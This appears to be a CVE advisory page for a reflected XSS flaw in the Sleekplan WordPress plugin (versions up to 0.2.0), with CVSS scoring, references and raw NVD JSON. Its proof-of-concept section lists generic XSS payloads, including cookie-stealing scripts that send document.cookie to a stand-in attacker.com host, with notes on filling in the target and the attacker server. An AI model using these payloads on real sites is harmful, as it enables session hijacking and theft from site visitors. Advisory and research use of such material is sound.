CVE-2025-23469

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in sleekplan Sleekplan sleekplan allows Reflected XSS.This issue affects Sleekplan: from n/a through <= 0.2.0.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

sleekplan WordPress Plugin <= 0.2.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-23469 Reflected XSS PoC -->
<!-- Target: sleekplan WordPress Plugin <= 0.2.0 -->

<!-- Basic XSS PoC -->
https://[TARGET]/wp-content/plugins/sleekplan/[VULNERABLE_ENDPOINT]?param=<script>alert(document.cookie)</script>

<!-- Event Handler Based XSS PoC -->
https://[TARGET]/wp-content/plugins/sleekplan/[VULNERABLE_ENDPOINT]?param="><img src=x onerror=alert(document.domain)>

<!-- Cookie Stealing PoC -->
https://[TARGET]/wp-content/plugins/sleekplan/[VULNERABLE_ENDPOINT]?param=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

<!-- Session Hijacking PoC -->
https://[TARGET]/wp-content/plugins/sleekplan/[VULNERABLE_ENDPOINT]?param=<script>document.location='https://attacker.com/log?cookie='+document.cookie</script>

<!-- Notes: -->
<!-- 1. Replace [TARGET] with the vulnerable website URL -->
<!-- 2. Replace [VULNERABLE_ENDPOINT] with the actual vulnerable URL path -->
<!-- 3. Replace https://attacker.com with the attacker's controlled server -->
<!-- 4. Social engineering required to trick user into clicking the malicious link -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-23469
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-23469
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-23469/
[4] VulDB https://vuldb.com/cve/CVE-2025-23469
[5] https://patchstack.com/database/Wordpress/Plugin/sleekplan/vulnerability/wordpress-sleekplan-plugin-0-2-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-23469", "sourceIdentifier": "[email protected]", "published": "2025-12-30T00:15:51.597", "lastModified": "2026-04-23T15:23:46.963", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in sleekplan Sleekplan sleekplan allows Reflected XSS.This issue affects Sleekplan: from n/a through <= 0.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/sleekplan/vulnerability/wordpress-sleekplan-plugin-0-2-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}